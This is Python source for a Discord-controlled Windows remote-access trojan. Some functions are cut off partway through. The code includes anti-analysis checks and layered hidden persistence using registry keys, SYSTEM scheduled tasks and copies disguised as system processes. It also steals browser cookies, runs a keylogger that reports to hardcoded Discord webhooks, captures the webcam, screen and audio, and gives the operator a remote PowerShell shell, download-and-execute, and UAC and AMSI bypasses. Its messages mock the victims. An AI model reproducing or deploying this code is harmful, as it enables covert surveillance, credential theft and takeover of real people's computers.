Message
Message
import os
import sys
import getpass
import subprocess
import discord
from discord.ext import commands
import asyncio
import threading
import socket
import logging
import socketio
import pyautogui
import cv2
import platform
import psutil
import base64
import io
from PIL import Image
import time
import requests
import tempfile
import sounddevice as sd
import numpy as np
from pathlib import Path
import datetime
import pyaudio
import wave
import mss
import csv
import win32com.client
import webbrowser
from win32crypt import CryptUnprotectData
from PIL import ImageGrab
import win32crypt
import json
import sqlite3
import av
import aiohttp
from aiortc import RTCPeerConnection, RTCSessionDescription, VideoStreamTrack
from Crypto.Cipher import AES
import winreg
import ctypes
import struct
import hashlib
import random
import string
import re
from shutil import copy2
try:
import win32crypt
except ImportError:
win32crypt = None
try:
import win32gui, win32con, win32api, win32event, win32process
except ImportError:
win32gui = None
win32con = None
win32api = None
win32event = None
win32process = None
# Variables globales
sio = socketio.Client()
connected_to_server = False
webcam = None
webcam_active = False
audio_recording = False
persistence_active = False
suspicious_processes = [
'vmtoolsd.exe', 'vmwaretray.exe', 'vmwareuser.exe', 'fakenet.exe',
'dumpcap.exe', 'httpdebuggerui.exe', 'wireshark.exe', 'fiddler.exe',
'vboxservice.exe', 'df5serv.exe', 'vboxtray.exe', 'vmwaretray.exe',
'ida64.exe', 'ollydbg.exe', 'pestudio.exe', 'vgauthservice.exe',
'vmacthlp.exe', 'x96dbg.exe', 'x32dbg.exe', 'prl_cc.exe',
'prl_tools.exe', 'xenservice.exe', 'qemu-ga.exe', 'joeboxcontrol.exe',
'ksdumperclient.exe', 'ksdumper.exe', 'joeboxserver.exe',
'vmwareservice.exe',
'vmsrvc.exe', 'vmusrvc.exe', 'prl_cc.exe', 'prl_tools.exe',
'vmtoolsd.exe', 'vmwaretray.exe', 'vmwareuser.exe', 'VGAuthService.exe',
'vmacthlp.exe', 'vboxservice.exe', 'VBoxTray.exe', 'df5serv.exe',
'vboxtray.exe', 'vmwaretray.exe', 'ida64.exe', 'ollydbg.exe',
'pestudio.exe', 'windbg.exe', 'x32dbg.exe', 'x64dbg.exe',
'immunity.exe', 'wireshark.exe', 'dumpcap.exe', 'procmon.exe',
'regmon.exe', 'cain.exe', 'abel.exe', 'cobaltstrike.exe',
'beacon.exe', 'msf.exe'
]
# Verificar archivos de VM
for artifact in vm_artifacts:
if os.path.exists(artifact):
return True
# Verificar BIOS
for bios in c.Win32_BIOS():
if any(vm_name in bios.Manufacturer.lower() for vm_name in
['virtualbox', 'vmware', 'qemu', 'bochs']):
return True
except:
pass
return False
# Verificar VM al inicio
if system_security_check():
sys.exit()
class SystemPersistenceManager:
def __init__(self):
self.process_name = "ConfigSystem"
self.service_name = "WindowsConfigService"
self.driver_name = "WinConfigDriver"
self.current_path = sys.executable if getattr(sys, 'frozen', False) else
sys.argv[0]
self.user = getpass.getuser()
self.mutex_name = f"Global\\
{self.process_name}_Mutex_{hashlib.md5(self.current_path.encode()).hexdigest()
[:8]}"
self.monitoring_active = True
self.backup_locations = []
self.persistence_installed = False
def hide_console_window(self):
"""Ocultar ventana de consola"""
try:
if win32gui and win32con:
hwnd = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hwnd, win32con.SW_HIDE)
except:
pass
def check_admin_privileges(self):
"""Verificar privilegios de administrador"""
try:
return ctypes.windll.shell32.IsUserIsAdmin()
except:
return False
def create_system_mutex(self):
"""Crear mutex para evitar multiples instancias"""
try:
if win32event:
self.mutex = win32event.CreateMutex(None, False, self.mutex_name)
if win32api.GetLastError() == 183: # ERROR_ALREADY_EXISTS
return False
return True
except:
pass
return True
def modify_process_name(self):
"""Cambiar nombre del proceso en Task Manager"""
try:
if win32api:
kernel32 = ctypes.windll.kernel32
kernel32.SetConsoleTitleW(self.process_name)
except:
pass
def create_backup_copies(self):
"""Crear copias en ubicaciones estratégicas"""
strategic_locations = [
# Ubicaciones de inicio automatico
rf"C:\Users\{self.user}\AppData\Roaming\Microsoft\Windows\Start Menu\
Programs\Startup",
rf"C:\Users\{self.user}\AppData\Roaming\Microsoft\Windows\Templates",
rf"C:\Users\{self.user}\AppData\Local\Microsoft\Windows\Explorer",
rf"C:\Users\{self.user}\AppData\Local\Temp\Microsoft",
rf"C:\Users\{self.user}\Documents\My Games",
rf"C:\Users\{self.user}\AppData\Local\Microsoft\Windows\INetCache",
rf"C:\Users\{self.user}\AppData\Roaming\Microsoft\Word",
rf"C:\Users\{self.user}\AppData\Local\Microsoft\Edge\User Data",
# Ubicaciones ocultas
r"C:\$Recycle.Bin\S-1-5-21-1234567890-1234567890-1234567890-1000",
r"C:\System Volume Information\Microsoft",
]
copied_paths = []
shell=True, capture_output=True,
check=False)
copied_paths.append(dest_path)
self.backup_locations.append(dest_path)
except Exception:
continue
except Exception:
continue
return copied_paths
# Ubicaciones avanzadas
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows NT\
CurrentVersion\Windows"),
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows NT\
CurrentVersion\Winlogon"),
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer\Run"),
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\
Policies\Explorer\Run"),
# Ubicaciones de servicios
(winreg.HKEY_LOCAL_MACHINE, r"System\CurrentControlSet\Services"),
# Shell extensions
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\
CurrentVersion\Explorer\ShellExecuteHooks"),
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\
Explorer\ShellExecuteHooks"),
# Ubicaciones adicionales
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Command Processor"),
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Command Processor"),
]
# Nombres de servicios legitimos
service_names = [
"WindowsConfigService", "SystemMaintenance", "SecurityUpdate",
"DriverUpdate",
"SystemOptimizer", "WindowsDefenderUpdate", "MicrosoftEdgeUpdate",
"GoogleUpdateService",
"AdobeUpdateService", "JavaUpdateScheduler", "SkypeUpdate",
"ChromeUpdate",
"FirefoxUpdate", "OfficeUpdate", "WindowsUpdate", "SystemHealthService"
]
if schedule == "hourly":
command = [
"schtasks", "/create", "/tn", task_name,
"/tr", f'"{file_path}"',
"/sc", "hourly", "/mo", "1",
"/rl", "highest", "/f", "/ru", "SYSTEM"
]
elif schedule == "daily":
command = [
"schtasks", "/create", "/tn", task_name,
"/tr", f'"{file_path}"',
"/sc", "daily", "/st", "00:00",
"/rl", "highest", "/f", "/ru", "SYSTEM"
]
elif schedule == "weekly":
command = [
"schtasks", "/create", "/tn", task_name,
"/tr", f'"{file_path}"',
"/sc", "weekly", "/d", "SUN",
"/rl", "highest", "/f", "/ru", "SYSTEM"
]
elif schedule == "monthly":
command = [
"schtasks", "/create", "/tn", task_name,
"/tr", f'"{file_path}"',
"/sc", "monthly", "/mo", "1",
"/rl", "highest", "/f", "/ru", "SYSTEM"
]
else:
command = [
"schtasks", "/create", "/tn", task_name,
"/tr", f'"{file_path}"',
"/sc", schedule,
"/rl", "highest", "/f", "/ru", "SYSTEM"
]
except:
continue
except:
pass
try:
os.unlink(ps_file)
except:
pass
except:
pass
def setup_file_monitor(self):
"""Monitor del sistema de archivos para recrear archivos eliminados"""
def watcher_thread():
while self.monitoring_active:
try:
time.sleep(20) # Verificar cada 20 segundos
# Copiar archivo
shutil.copy2(self.current_path, missing_file)
# Ocultar archivo
subprocess.run(['attrib', '+H', '+S', '+R',
missing_file],
shell=True, capture_output=True,
check=False)
except:
continue
except:
continue
def setup_process_monitor(self):
"""Monitor de procesos para auto-resurreccion"""
def monitor_thread():
while self.monitoring_active:
try:
time.sleep(10) # Verificar cada 10 segundos
except:
continue
def monitor_security_tools(self):
"""Monitorear y neutralizar herramientas peligrosas"""
dangerous_processes = [
'taskmgr.exe', 'procexp.exe', 'procexp64.exe', 'processhacker.exe',
'systemexplorer.exe', 'procmon.exe', 'autoruns.exe', 'autorunsc.exe',
'revo.exe', 'uninstaller.exe', 'ccleaner.exe', 'cleanmgr.exe',
'msconfig.exe', 'regedit.exe', 'cmd.exe', 'powershell.exe'
]
def resurrect_processes(self):
"""Resucitar procesos desde ubicaciones de respaldo"""
resurrection_count = 0
max_resurrections = 8
def setup_boot_persistence(file_paths):
"""Crear persistencia a nivel de arranque"""
startup_locations = [
r"C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup",
r"C:\Windows\System32\GroupPolicy\User\Scripts\Logon",
r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
]
try:
# Crear script de "driver" que monitorea y ejecuta
driver_script = f'''
@echo off
:loop
start /min "" "{file_path}"
timeout /t 60 /nobreak >nul
tasklist | find /i "{self.process_name}" >nul
if errorlevel 1 (
start /min "" "{file_path}"
)
timeout /t 30 /nobreak >nul
goto :loop
'''
driver_path = rf"C:\Windows\System32\drivers\{self.driver_name}.bat"
with open(driver_path, 'w') as f:
f.write(driver_script)
except:
pass
def install_persistence_system(self):
"""Instalar persistencia extrema completa"""
try:
# Verificar si ya esta instalada
if self.persistence_installed:
return True
# Configuraciones basicas
self.hide_console_window()
self.modify_process_name()
if file_paths:
# Persistencia de registro
self.setup_registry_persistence(file_paths)
# Tareas programadas
self.setup_scheduled_tasks(file_paths)
# Persistencia WMI
self.setup_wmi_persistence(file_paths[0])
# Persistencia de arranque
self.setup_boot_persistence(file_paths)
# Caracteristicas de administrador
if self.check_admin_privileges():
self.setup_windows_service(file_paths[0])
self.setup_driver_persistence(file_paths[0])
self.persistence_installed = True
return True
except Exception as e:
return False
return False
def activate_system_persistence():
"""Activar persistencia extrema"""
global persistence_engine, persistence_active
try:
if not persistence_active:
persistence_engine = SystemPersistenceManager()
success = persistence_engine.install_persistence_system()
if success:
persistence_active = True
return True
else:
return False
else:
return True
except Exception as e:
return False
def generate_temp_file(_dir=None):
"""Crear archivo temporal seguro"""
if _dir is None:
_dir = os.path.expanduser("~/tmp")
if not os.path.exists(_dir):
os.makedirs(_dir)
file_name =
''.join(random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS
TUVWXYZ0123456789') for _ in range(random.randint(10, 20)))
path = os.path.join(_dir, file_name)
open(path, "x").close()
return path
class BrowserDataExtractor:
def __init__(self):
self.appdata = os.getenv('LOCALAPPDATA')
self.roaming = os.getenv('APPDATA')
self.browser_exe = ["chrome.exe", "firefox.exe", "brave.exe", "opera.exe",
"kometa.exe", "orbitum.exe", "centbrowser.exe",
"7star.exe", "sputnik.exe", "vivaldi.exe",
"epicprivacybrowser.exe", "msedge.exe", "uran.exe", "yandex.exe", "iridium.exe"]
self.browsers_found = []
self.browsers = {
'kometa': self.appdata + '\\Kometa\\User Data',
'orbitum': self.appdata + '\\Orbitum\\User Data',
'cent-browser': self.appdata + '\\CentBrowser\\User Data',
'7star': self.appdata + '\\7Star\\7Star\\User Data',
'sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data',
'vivaldi': self.appdata + '\\Vivaldi\\User Data',
'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
'epic-privacy-browser': self.appdata + '\\Epic Privacy Browser\\User
Data',
'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
'iridium': self.appdata + '\\Iridium\\User Data',
'opera': self.roaming + '\\Opera Software\\Opera Stable',
'opera-gx': self.roaming + '\\Opera Software\\Opera GX Stable',
}
self.profiles = [
'Default',
'Profile 1',
'Profile 2',
'Profile 3',
'Profile 4',
'Profile 5',
]
def extract_cookies(self):
"""Extraer cookies de todos los navegadores"""
cookies_data = []
for name, path in self.browsers.items():
if not os.path.isdir(path):
continue
self.masterkey = self.get_encryption_key(path + '\\Local State')
if not self.masterkey:
continue
return cookies_data
if not os.path.isfile(cookie_path):
return []
cookievault = generate_temp_file()
try:
copy2(cookie_path, cookievault)
except:
return []
conn = sqlite3.connect(cookievault)
cursor = conn.cursor()
cookies_list = []
try:
for res in cursor.execute("SELECT host_key, name, path,
encrypted_value, expires_utc, is_secure, is_httponly FROM cookies").fetchall():
host_key, cookie_name, cookie_path, encrypted_value, expires_utc,
is_secure, is_httponly = res
value = self.decrypt_cookie_value(encrypted_value, self.masterkey)
if host_key and cookie_name and value:
cookies_list.append({
'browser': name,
'profile': profile,
'host': host_key,
'name': cookie_name,
'value': value,
'path': cookie_path,
'expires': expires_utc,
'secure': bool(is_secure),
'httponly': bool(is_httponly)
})
except Exception as e:
pass
cursor.close()
conn.close()
os.remove(cookievault)
return cookies_list
def get_encryption_key(self, path):
"""Obtener clave de encriptacion del navegador"""
try:
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
except Exception as e:
return None
def extract_all_cookies():
"""Funcion principal para extraer cookies"""
browser = BrowserDataExtractor()
return browser.extract_cookies()
@bot.command()
async def gancho(ctx, session: str = "default"):
try:
success = activate_system_persistence()
if success:
embed = discord.Embed(
title="PERSISTENCIA ACTIVADA",
description=f"**Sistema indestructible instalado en sesion:
`{session}`**",
color=discord.Color.from_rgb(255, 0, 0)
)
embed.add_field(
name="Protecciones Activas",
value="```\n50+ copias estratégicas\n Registro modificado\n Tareas
programadas\n Servicios de Windows\n Monitoreo continuo\n Auto-resurreccion\n
Proteccion anti-eliminacion\n Persistencia WMI\n Scripts de arranque\n```",
inline=False
)
embed.add_field(
name="Caracteristicas Destructivas",
value="```\n Imposible de eliminar\n Se reinicia automaticamente\n
Multiples vectores de ataque\n Monitoreo 24/7\n Contramedidas activas\n Stealth
total\n```",
inline=False
)
await ctx.send(embed=embed)
else:
await ctx.send(f"Persistencia parcialmente establecida en la sesion
**{session}**")
except Exception as e:
await ctx.send(f"Error al establecer persistencia: {str(e)}")
@bot.command()
async def admincheck(ctx):
try:
is_admin = await asyncio.to_thread(ctypes.windll.shell32.IsUserAnAdmin) !=
0
if is_admin:
await ctx.send("✅ Ejecutado con privilegios de administrador.")
else:
await ctx.send("⚠️ No se están utilizando privilegios de
administrador.")
except Exception as e:
await ctx.send(f"❌ Error al verificar privilegios: {str(e)}")
@bot.command()
async def zstatus(ctx):
"""Verificar estado de la persistencia"""
global persistence_active, persistence_engine
embed.add_field(
name=" Estado",
value="```\n ACTIVO Y FUNCIONANDO\n```",
inline=False
)
embed.add_field(
name="📁 Ubicaciones",
value=f"```\n📂 {len(persistence_engine.backup_locations)} copias
activas\n```",
inline=True
)
embed.add_field(
name=" Monitoreo",
value="```\n🟢 Sistemas vigilando\n```",
inline=True
)
await ctx.send(embed=embed)
else:
await ctx.send("❌ Persistencia no esta activa. Usa `.gancho` para
activarla.")
@bot.event
async def on_command_error(ctx, error):
if isinstance(error, commands.CommandNotFound):
await ctx.send("bruh, este comando no existe :skull:")
@bot.event
async def on_ready():
"""Evento cuando el bot se conecta"""
asyncio.create_task(notify_bypass_result())
activate_system_persistence()
await bot.change_presence(activity=discord.Game(name="discord.gg/ROOT
SQLfinder"))
server = bot.get_guild(int(server_id))
if server:
category = discord.utils.get(server.categories, name='Sessions')
if not category:
category = await server.create_category_channel('Sessions')
pcn = socket.gethostname().lower()
session = discord.utils.get(category.channels, name=pcn)
if session:
sessions[pcn] = session
else:
session = await category.create_text_channel(pcn)
sessions[pcn] = session
embed = discord.Embed(
title="NUEVA VICTIMA",
description=f"Nueva persona conectada `{pcn}`\n",
color=discord.Color.from_rgb(255, 0, 0)
)
embed.add_field(
name="Comandos Disponibles",
value="```\n.gancho [sesion] - Reforzar persistencia\n.remote - Ver
estado del sistema\n.help - Ayuda completa\n```",
inline=False
)
embed.set_footer(text="ROOT SQL")
@bot.command()
async def help(ctx):
embed = discord.Embed(
title="Comandos Disponibles",
description="""```
.screenshot - Toma una captura de pantalla
.monitoreo - inicia monitoreo de pantalla
.stopmonitoreo - apagas el monitoreo de pantalla
.tokens - obtiene los tokens del usuario
.validtoken - valida tokens de discord
.webcam - toma una foto con su webcam
.syinfo - obten informacion sobre su pc
.ip - obtienes la ip del usuario
.startkeylogger - inicias con keyloggeo
.stopkeylogger - apagas el keylogger
.record - graba la pantalla por unos segundo
.website <url> - abres una pagina al usuario
.shell <comando> - usa la shell del usuario
.getdownloads - ves la carpeta de descargas
.downloads - descargas algo de la carpeta de descargas
.upload - subes un archivo lo ejecuta la pc del usuario
.shutdown - apagas la pc del usuario
.mc - saca info sobre su mc
.message - envias mensaje al mongolico
.historial - saca el historial de navegacion
.shutdown - apagas la pc del weon pendejo
.remote - inicia remote
.audio - ves su audio en tiempo real
.stopaudio - apagas el audio en tiempo real
.passwords - saca cookies y passwords
.cookies - extrae cookies de navegadores
.disconnect - se desconecta del remote
.restart - reinicias el pc del usuario ```""",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
@bot.command()
async def screenshot(ctx):
pcn = socket.gethostname().lower()
try:
temp_path = os.path.join(os.getenv('TEMP'), "monitor.png")
os.remove(temp_path)
except Exception as e:
await ctx.send(f"[!] Error al tomar la captura de pantalla: {e}")
@bot.command()
async def monitoreo(ctx):
global monitoring_status
if monitoring_status:
await ctx.send("El monitoreo ya esta en curso.")
return
monitoring_status = True
await ctx.send("Iniciando monitoreo...")
pcn = socket.gethostname().lower()
webhook_url = "https://discord.com/api/webhooks/1402564530491494454/YjB2ih-
DVug_kiqkRQpF1i2n04uIVCbX-eYtFm7Tv_qdrgxUkA41POASFVftWW0Omcbh"
os.remove(temp_path)
await asyncio.sleep(3)
except Exception as e:
monitoring_status = False
await ctx.send(f"[!] Error durante el monitoreo: {e}")
@bot.command()
async def stopmonitoreo(ctx):
global monitoring_status
if monitoring_status:
monitoring_status = False
await ctx.send("El monitoreo ha sido detenido.")
else:
await ctx.send("El monitoreo no esta activo.")
@bot.command()
async def validtoken(ctx, token: str):
await ctx.send(embed=embed)
def IsAdmin():
return ctypes.windll.shell32.IsUserAnAdmin() == 1
def GetSelf():
if hasattr(sys, "frozen"):
return (sys.executable, True)
else:
return (__file__, False)
strategic_locations = [
rf"C:\Users\{getpass.getuser()}\AppData\Roaming\Microsoft\Windows\Start Menu\
Programs\Startup",
rf"C:\Users\{getpass.getuser()}\AppData\Roaming\Microsoft\Windows\Templates",
rf"C:\Users\{getpass.getuser()}\AppData\Local\Microsoft\Windows\Explorer",
rf"C:\Users\{getpass.getuser()}\AppData\Local\Temp\Microsoft",
rf"C:\Users\{getpass.getuser()}\Documents\My Games",
rf"C:\Users\{getpass.getuser()}\AppData\Local\Microsoft\Windows\INetCache",
rf"C:\Users\{getpass.getuser()}\AppData\Roaming\Microsoft\Word",
rf"C:\Users\{getpass.getuser()}\AppData\Local\Microsoft\Edge\User Data",
r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp",
r"C:\Windows\Temp\Microsoft",
r"C:\Windows\System32\Tasks\Microsoft",
r"C:\Program Files\Common Files\Microsoft Shared\MSInfo",
r"C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo",
r"C:\ProgramData\Microsoft\Windows Defender\Scans\History\Store",
r"C:\ProgramData\Microsoft\Windows\WER\ReportQueue",
r"C:\$Recycle.Bin\S-1-5-21-1234567890-1234567890-1234567890-1000",
r"C:\System Volume Information\Microsoft",
]
legitimate_names = [
"ConfigSystem.exe",
"svchost.exe",
"winlogon.exe",
"explorer.exe",
"dwm.exe",
"csrss.exe",
"lsass.exe",
"services.exe",
"spoolsv.exe",
"taskhost.exe"
]
@bot.command()
async def amsi_bypass(ctx):
success, message = persistence_engine.bypass_amsi()
await ctx.send(message)
@bot.command()
async def escal(ctx):
if IsAdmin():
await ctx.send("✅ Ya tienes privilegios de administrador.")
return
if not GetSelf()[1]:
await ctx.send("⚠️ El script debe estar congelado (ejecutable) para
intentar bypass UAC.")
return
try:
success = UACbypass()
if success:
await ctx.send("✅ Intento de bypass UAC realizado. El proceso puede
haberse reiniciado con admin.")
os._exit(0)
else:
await ctx.send("❌ No se pudo realizar el bypass UAC.")
except Exception as e:
await ctx.send(f"❌ Error al intentar bypass UAC: {e}")
@bot.command()
async def webcam(ctx, seshn: str):
session = sessions.get(seshn.lower())
if session:
cap = cv2.VideoCapture(0)
if not cap.isOpened():
await ctx.send("Failed")
return
if not ret:
await ctx.send("Failed.")
return
output = "webcam.jpg"
cv2.imwrite(output, frame)
await session.send("", file=discord.File(output))
os.remove(output)
cap.release()
else:
pass
@bot.command()
async def syinfo(ctx, seshn: str):
session = sessions.get(seshn.lower())
if session:
# Informacion basica del sistema
si = platform.uname()
boot_time = datetime.datetime.fromtimestamp(psutil.boot_time())
uptime = datetime.datetime.now() - boot_time
# Informacion de CPU
cpu_usage = psutil.cpu_percent(interval=1)
cpu_count_physical = psutil.cpu_count(logical=False)
cpu_count_logical = psutil.cpu_count(logical=True)
cpu_freq = psutil.cpu_freq()
# Informacion de memoria
memory_info = psutil.virtual_memory()
swap_info = psutil.swap_memory()
# Informacion de disco
disk_partitions = psutil.disk_partitions()
disk_usage = psutil.disk_usage('/')
# Informacion de red
network_info = psutil.net_io_counters()
network_interfaces = psutil.net_if_addrs()
# Temperatura de CPU
try:
temps = psutil.sensors_temperatures()
if "coretemp" in temps:
cpu_temp = f"{temps['coretemp'][0].current}°C"
elif "acpi" in temps:
cpu_temp = f"{temps['acpi'][0].current}°C"
else:
cpu_temp = "No disponible"
except (AttributeError, KeyError):
cpu_temp = "No disponible"
# Procesos principales
top_processes = []
for proc in psutil.process_iter(['pid', 'name', 'cpu_percent',
'memory_percent']):
try:
top_processes.append(proc.info)
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
# Informacion de Python
python_version = platform.python_version()
if cpu_freq:
embed2.add_field(name="VIPER SQL - Frecuencia CPU",
value=f"```Actual: {cpu_freq.current:.0f}MHz | Max:
{cpu_freq.max:.0f}MHz```", inline=False)
embed2.add_field(name="Memoria RAM",
value=f"```Usado: {memory_info.used / (1024**3):.2f}GB
({memory_info.percent}%)\nTotal: {memory_info.total / (1024**3):.2f}GB\nDisponible:
{memory_info.available / (1024**3):.2f}GB```",
inline=True)
if swap_info.total > 0:
embed2.add_field(name="Memoria SWAP",
value=f"```Usado: {swap_info.used / (1024**3):.2f}GB
({swap_info.percent}%)\nTotal: {swap_info.total / (1024**3):.2f}GB```",
inline=True)
# Embed 3: Almacenamiento
embed3 = discord.Embed(title="VIPER SQL - Almacenamiento",
color=discord.Color(0x000000))
# Particiones
partitions_info = []
for partition in disk_partitions[:3]: # Limitamos a 3 particiones
try:
partition_usage = psutil.disk_usage(partition.mountpoint)
partitions_info.append(f"{partition.device} ({partition.fstype}):
{partition_usage.percent}%")
except PermissionError:
partitions_info.append(f"{partition.device}: Sin acceso")
if partitions_info:
embed3.add_field(name="Particiones",
value=f"```{chr(10).join(partitions_info)}```", inline=False)
# Informacion de red
embed4.add_field(name="Trafico de Red",
value=f"```Enviado: {network_info.bytes_sent /
(1024**2):.2f}MB\nRecibido: {network_info.bytes_recv / (1024**2):.2f}MB```",
inline=True)
# IP local
try:
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
embed4.add_field(name="IP Local", value=f"```{local_ip}```",
inline=True)
except:
embed4.add_field(name="IP Local", value="```No disponible```",
inline=True)
if cpu_procs:
embed4.add_field(name="VIPE SQL - Top Procesos (CPU)",
value=f"```{chr(10).join(cpu_procs[:5])}```",
inline=False)
if mem_procs:
embed4.add_field(name="Top Procesos (RAM)",
value=f"```{chr(10).join(mem_procs[:5])}```",
inline=False)
else:
await ctx.send(f"No se encontro la sesion: {seshn}")
@bot.command()
async def ip(ctx, seshn: str):
session = sessions.get(seshn)
if session:
url = "http://ipinfo.io/json"
response = requests.get(url)
data = response.json()
await ctx.send(embed=embed)
else:
pass
WEBHOOK_URL =
"https://discord.com/api/webhooks/1402564412631683112/7uyYEi0_gjNNxx5TAd4k3wm0fvfXM
HfUzUqFJxkrcQR7rp7doMI9h5plJHJeq7uuboT8"
sentence = ""
keylogger_active = False
def send_to_discord(message):
pcn = socket.gethostname().lower()
embed = discord.Embed(
title=(f"KEYLOGGER {pcn}"),
description=f"```{message}```",
color=discord.Color(0x000000)
)
data = {
"embeds": [embed.to_dict()]
}
def keylog():
global sentence, keylogger_active
keylogger_active = True
start_time = time.time()
def on_press(key):
global sentence
sentence += str(key).replace("'", "") + " "
def send_text_periodically():
global sentence, keylogger_active
while keylogger_active:
time.sleep(10)
if sentence:
send_to_discord(sentence)
sentence = ""
def stop_keylogger():
global keylogger_active
keylogger_active = False
send_to_discord("```Keylogger detenido.```")
@bot.command()
async def startkeylogger(ctx):
keylogger_thread = threading.Thread(target=keylog)
keylogger_thread.daemon = True
keylogger_thread.start()
periodic_sender_thread = threading.Thread(target=send_text_periodically)
periodic_sender_thread.daemon = True
periodic_sender_thread.start()
embed = discord.Embed(
description="```[*] Keylogger iniciado con exito```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
@bot.command()
async def stopkeylogger(ctx):
stop_keylogger()
embed = discord.Embed(
description="```[*] Keylogger terminado```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
@bot.command()
async def record(ctx, seshn: str):
session = sessions.get(seshn.lower())
pcn = socket.gethostname().lower()
if session:
embed = discord.Embed(
title=f"ROOT SQL Rencord",
description=f"```Grabando pantalla para {pcn}```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
start = datetime.datetime.now()
duration = datetime.timedelta(seconds=30)
frames = []
await asyncio.sleep(0.1)
embed = discord.Embed(
title=f"ROOT SQL Record",
description=f"```Grabacion completada para {pcn}```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
await ctx.send(file=discord.File(outputf))
os.remove(outputf)
else:
pass
@bot.command()
async def website(ctx, seshn: str, websiteu: str):
session = sessions.get(seshn.lower())
pcn = socket.gethostname().lower()
if session:
try:
webbrowser.open(websiteu)
embed = discord.Embed(
title="ROOT SQL Website",
description=f"```abriendo siteoweb para {pcn}```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
except webbrowser.Error:
embed = discord.Embed(
title="ROOT SQL Website",
description=f"```El sitio web no se pudo abrir {pcn}```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
else:
pass
@bot.command()
async def shell(ctx, seshn: str, *, command: str):
session = sessions.get(seshn.lower())
if session:
try:
output = subprocess.check_output(
["powershell", "-Command", command],
stderr=subprocess.STDOUT,
universal_newlines=True
)
with open("output.txt", "w", encoding="utf-8") as file:
file.write(output if output else "[Sin salida]")
await session.send(file=discord.File("output.txt"))
os.remove("output.txt")
except subprocess.CalledProcessError as e:
await session.send(f"Error al ejecutar:\n```{e.output}```")
except Exception as ex:
await session.send(f"Ocurrio un error:\n```{str(ex)}```")
else:
await ctx.send("Sesion no encontrada.")
@bot.command()
async def getdownloads(ctx, seshn: str):
session = sessions.get(seshn.lower())
if session:
downloadf = os.path.expanduser("~\\Downloads")
files = os.listdir(downloadf)
if not files:
await session.send("No files found")
return
filel = "\n".join(files)
with open("CdriveDownload.txt", "w", encoding="utf-8") as file:
file.write(filel)
await session.send("", file=discord.File("CdriveDownload.txt"))
os.remove("CdriveDownload.txt")
else:
pass
@bot.command()
async def download(ctx, seshn: str, filename: str):
session = sessions.get(seshn.lower())
if session:
download = os.path.expanduser("~\\Downloads")
file = os.path.join(download, filename)
if os.path.isfile(file):
await session.send(f"Descargando", file=discord.File(file))
else:
pass
else:
pass
@bot.command()
async def upload(ctx, sesion: str, enlace_archivo: str):
session = sessions.get(sesion.lower())
if session:
if not enlace_archivo.startswith("https://cdn.discordapp.com"):
embed = discord.Embed(title="ROOT SQL Upload", description="```Enlace
no valido. Debe ser un enlace de descarga de un archivo adjunto de Discord.```",
color=discord.Color.dark_gray())
await ctx.send(embed=embed)
return
try:
response = requests.get(enlace_archivo)
if response.status_code == 200:
nombre_archivo = enlace_archivo.split("/")[-1]
ruta_archivo = f"./{nombre_archivo}"
try:
subprocess.Popen(["start", ruta_archivo], shell=True)
embed = discord.Embed(title="ROOT SQL Upload", description="El
archivo ha sido ejecutado.", color=discord.Color.dark_gray())
except subprocess.SubprocessError:
embed = discord.Embed(title="ROOT SQL Upload", description="No
se pudo ejecutar el archivo.", color=discord.Color.dark_gray())
else:
embed = discord.Embed(title="ROOT SQL Upload", description="No se
pudo descargar el archivo.", color=discord.Color.dark_gray())
except requests.exceptions.RequestException:
embed = discord.Embed(title="ROOT SQL Upload", description="Ocurrio un
error durante la descarga.", color=discord.Color.dark_gray())
await ctx.send(embed=embed)
@bot.command()
async def shutdown(ctx, seshn: str):
session = sessions.get(seshn.lower())
if session:
try:
os.system("shutdown /s /t 0")
@bot.command()
async def restart(ctx, seshn: str):
session = sessions.get(seshn.lower())
if session:
try:
os.system("shutdown /r /t 0")
@bot.command()
async def message(ctx, *, mensaje: str):
pyautogui.alert(text=mensaje, title='ROOT SQ', button='OK')
embed = discord.Embed(
title="```MESSAGE ROOT SQL```",
description=f"```Mensaje Enviado con exitosamente para el mongolo q cayo en
un rat {mensaje}```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
browser_paths = {
"edge": os.path.expanduser("~") + r"\\AppData\\Local\\Microsoft\\Edge\\User
Data\\Default\\History",
"chrome": os.path.expanduser("~") + r"\\AppData\\Local\\Google\\Chrome\\User
Data\\Default\\History",
